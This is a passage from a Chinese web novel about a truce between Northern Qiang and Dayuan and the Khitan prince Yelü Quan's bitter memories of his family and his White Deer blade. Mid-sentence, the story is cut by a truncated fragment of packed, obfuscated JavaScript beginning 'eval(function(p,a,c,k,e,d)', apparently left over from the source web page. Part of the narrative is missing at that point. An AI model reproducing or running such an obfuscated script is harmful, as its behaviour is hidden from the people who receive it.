元鬯急忙下跪,“元鬯有罪,这些吃食是斡尔都族人托我带进来给您补身体的,元鬯不知道王宫有这条规矩。” “什么,你是说这些东西是王宫外的那些平民带来的?” “正是,三达达,我已经验过了,无毒。” 北羌王怅然道:“元鬯,你不该要他们的东西啊!” “我连年征战,自以为无愧于羌族,可现在想想,最对不起的也是羌族的平民百姓。” “他们这些庶民本就活得不公平,荣华富贵和他们一点关系都没有,出生入死,血战沙场最后却总是落到他们头上。” “打输了,苦的是他们,哪怕打赢了,他们也什么好处都得不了,明明他们才是最缺衣少食的人,却瞎往王宫里送什么吃的。” “本王对他们最不公平,可他们却从不怨,不恨。本王寄予厚望的孙儿,十六部首领,却巴不得本王早点死了算了。” 北羌王心中百感交集,病重之时,至亲之人在忙着争权夺利,非亲非故的族人,却在宫外担忧着自己的身体。 北羌王想了一夜,在心里默默下了一个最为重大的决心。 44.契丹之刃(上) 如果说起兵是一族之王下定的最重大的决心,那么,收兵休战就是他要下定的第二大决心。 一念之间往往是一线之隔,也是生死之隔。 对于永远虎视眈眈的异族来说,起兵息兵并非完全对立,有时起藏于息之中,有时息潜伏于起之中。 可这次,北羌王似乎是给足了诚意。 北羌王为与大渊建立盟约,不惜在北境两处要塞之地做出巨大让步,只为与大渊缔结互市之约,兄弟之国。 不是和亲,不是互送质子,不是歃血,是实打实的退兵休战。 “洛郡关和兰犀山,北羌不要了,白送大渊了?就为了做点生意,买点粮食?”萧照知道这个消息的时候下巴都要掉地下了。 大渊新帝高兴地赤脚在大殿上走来走去,握紧手臂,挥着奏章,颇有几分癫意。 “北羌王是中邪了,还说被夺舍了?” 长生天啊,那可是洛郡关和兰犀山,他不要倒是给我啊!!! 萧照在心里哀嚎。 皇帝倒是不管那么多,吩咐侍卫拿酒来,他要好好喝一坛。 “什么,上朝?上什么朝,不上了,让他们回去吧,朕今日高兴,不想看见他们。” “陛下,那,那笔钱还用得上吗?” 一说到钱,圣上立马清醒了几分,“先存着,这笔钱是用来备日后不时之需的,要是少了一分一厘朕拿你是问。” “臣可不敢?多少张眼睛盯着。” “那就交给太后,她会管钱。” “这,陛下,可太后她毕竟不是你的生母,亲疏有别,还是要明算账。” “母后不是这样的人。”似是想起什么,皇帝继续说道: “母后出身寒微,曾在后宫中受尽屈辱,可她从不妥协,在任何难关险关中都从未丧失自尊和自爱。” 萧照心里叹道,算了,看来陛下是不知道太后娘娘打算假死脱身,寻求自在。 一路上,萧照都在想,永王是如何做到让不可一世的北羌王息兵停战。 下蛊了?或是把北羌王李代桃僵,换个和他长得一模一样的人当傀儡? 正当百思不得其解的时候,他突然意识到,自己不也是如此吗? 从以前的日思夜想挥刀南下,到如今甘心辅佐大渊新帝,唯愿两国江山永固。 几个国家打了太多年战了,再打下去,都是输家。 仇恨生仇恨,血战生血战,四国都在这些存亡之战中虚耗了上百年。 胜的也只能算是惨胜,败的却是惨败。 人血如流水,滔滔汇成河,遥遥长路,前路茫茫,不过,如今总算是能看见点希冀了。 *********** 北羌和大渊结盟的消息很快就传到了契丹。 耶律权气得将桌子掀翻,把周围看得到的物什都砍了个稀巴烂。 疯女在一旁笑嘻嘻地盯着她。 耶律权望着疯女那双摄人心魄的眼睛,气消了几分。 “要是你肚子里的孩子是本王的就好了,管它什么大渊北羌韩历,本王就算被他们联手灭了,也情愿。” 疯女不回答,还是笑呵呵的。 “可你如今已疯了,本王是不会娶你的,不过好在你现在也不在意这些了。” 疯女继续玩针线,将本就剪不断理还乱的线理得更杂乱了。 眼见疯女只管笑,不理他,耶律权就只好去找他另一个兄弟了。 他哪还有兄弟,他的亲兄弟都已经被他悉数杀光了,他军中肝胆相照的义兄弟们也都死在疆场了。 可耶律权觉得,他就是有亲兄弟,他的—-白鹿刀。 这把刀已经跟了他三十多年,出身在契丹皇室,耶律权从始至终都相信,没有刀锋的血亲等于没有血亲,没有血亲的刀锋等于没有刀锋。 他亲眼看着父亲兵变杀死几位叔叔伯伯,坐上了他梦寐以求的契丹王之位。 可是父亲,你双手沾满手足的鲜血,却时刻担忧着自己的儿子们会不会重蹈覆辙。 真是天大的笑话!!! 耶律权哼了一声。 疯女突然转过头来说:“笑吧,笑吧,笑吧。” 耶律权心中说不出的怅然。 父王登上王位的第一时间,就是立大哥为王储。 父王傻傻地以为,只要早立王储,趁早掐断了其他兄弟们不该有的念想,就不会再有骨肉相残的事了。 其实,他本来没有夺位的念头。 十岁那年,母亲送了大哥一把白鹿刀,是抓中原的老铁匠打出来的一把好刀,刀上还镶嵌王室祖传的宝石。 原本,他只是也想有一把威风凛凛的刀,刀上也要镶着宝石。 他软磨硬泡,求了好久,母亲才答应给他。 他一拿到刀,就急着找大哥炫耀。 大哥也不甘示弱,举起刀缓缓放入口中,他在一旁看得目瞪口呆,刀身进入口中足有一掌长。 大哥这是要吞刀入腹???? 正当他疑惑时,大哥突然把刀从嘴里拔了出来,然后再吞,再拿出来,几个来回后,刀尖沾满了哈喇子。 他也不甘示弱,说:“我也会。” 随着刀身进入口中的那一刻,一股剧痛袭来,他顿时嗷嗷地哭了起来。 口中全是铁锈血腥味,他想,完了完了,嘴一定是被割烂了。 大哥在一旁也是被吓住了,缓了几瞬才帮他把刀从口中取出。 太痛了,痛到他哭爹喊娘,过了一会儿,母亲果真来了。 侍女在一旁说明原委,母亲丝毫没有责怪大哥,反而骂他顽劣,活该,抓起他就打。 他只是学大哥,他做错了什么,这下好了,口里有刀伤,心里也有刀伤。 从那一天,他就知道,自己和大哥永远不一样。 给大哥的刀是没开刃的,母亲总是害怕大哥会伤到自己。 而给自己的刀永远都是开刃的,母亲一直希望,自己好好习武,做一个顶天立地的大将军,一个能直插敌人心脉的契丹之刃。 她永远会让大哥高坐王宫傲视群雄,让自己征战四方。 当风暴来临时,自己永远要带兵将风暴拦于宫外。 长大后,大哥有一次玩忽职守,居然带着大批亲兵溜去中原看一位女子。 回城路上,他遇见了大哥,他没有问那位中原女子到底有多美。 他只是一脸坏笑指着大哥说:“你死定了!” 果然,回到王宫,就听见父王的雷霆大怒: “拿下。” 侍卫正准备押住大哥,这个时候,母后冲上前去了。 他远远看见母后将那群侍卫推开,“我管你什么天大地大的事,谁敢伤我儿子,我儿子可是下一任契丹王。” 父王也生气了:“慈母多败儿。” 母后开始歇斯底里:“好好好,你大哥仁义,你二哥有军功,你三弟谨小慎微,这一生从未做过错事,你四弟文武双全。” “对,就数你爹教得好,把你们兄弟几个养得本事得很,可结果呢?” “结果就是你们兄弟几个为了这个破契丹王的位置争得你死我活,手足相残,而你,最厉害,把他们都砍死了。” 契丹王叹了口气,默许了王后。 王后赶紧带着大哥离开了王宫,路上,大哥偷偷冲着自己扮了个鬼脸,很有少年气。 后来,他终于知道,对于大哥,父王母后唯一的要求就只是: 继承王位前,别成为一个采花大盗就行。 那么开疆扩土,征战四方,守卫契丹安宁,这又该是谁的责任呢? 有时,兄弟们几个会私下打趣,母后就应该多生几个大哥这样的孩子,真不该生咱们。 那时,他依旧没有夺位的念头,他只是恨,母后总是很舍得让他去疆场送死。 他在沙场上也认识了一些好兄弟,彼此曾许诺,肝胆相照,同生共死。 只可惜,连年战乱,九死一生。 回忆是个深渊,越掉越深,越深越想掉。 再后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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工匠摇了摇头,叹道:“这块宝石是假的,染出来的,一看就是寻常人家不值钱的东西,根本无从查起。” 母后,你当年明明答应过要送给我一个和大哥的一模一样的白鹿刀。 怎么,你都记得要给刀开刃,却不舍得镶上一颗真宝石。 若当年你稍作点公平的样子出来,我早就必死无疑。 半月后,他亲自给那把白鹿刀镶上一颗真正的价值连城的宝石。 父王婚宴的时候,他将白鹿刀带上去,给新娘子瞧瞧。 新王后笑道:“这宝刀身上依稀可见血渍,想来可见二殿下骁勇善战,斩敌无数的沙场战绩。” 他笑了笑,心道:母后啊母后 您这一生照顾父王,偏心大哥,结果到头来,父王很快就再娶了,大哥在婚宴里也不曾为您说话。 只有我会时刻带着染着您鲜血的白鹿刀,让您看一看这场婚宴。 新王后是个狠角色,她一直将他们兄弟几个视为眼中钉,肉中刺。 在她眼里,前王后的这几个儿子,必须要除之而后快。 “那几个臭小子都不是省油的灯,有的继承了老契丹王的风流,有的继承了狠毒……” 他心里默默感叹着:女人的直觉真比算命的还准。 有了后娘就有后爹,这句话哪怕在王宫都十分受用。 他和大哥都被狠狠欺凌了一番,又是一番权力争斗,山雨欲来风满楼。 他借着练兵远遁疆场,隔岸观火。 这一次,他远远地看着大哥一步一步走上弑父之路,登上契丹王的宝座。 母亲,你眼里大哥最没有心机,最不会勾心斗角,可他还是一步一步笼络权臣,培植势力,杀了后母,剐了父王。 可你为什么只防着我呢? 父王母后没有教会他的东西,权力和世道教会了他。 大哥称王后,他俯首称臣,假意兄弟情深,假装愿意为大哥东征西战,守卫契丹。 他将所有不甘,恨意,欲望……全都掩埋起来,戴上忠臣面具,在新王面前唱了几出感天动地的手足大戏。 他敛进锋芒,只为等一个一击必胜的机会……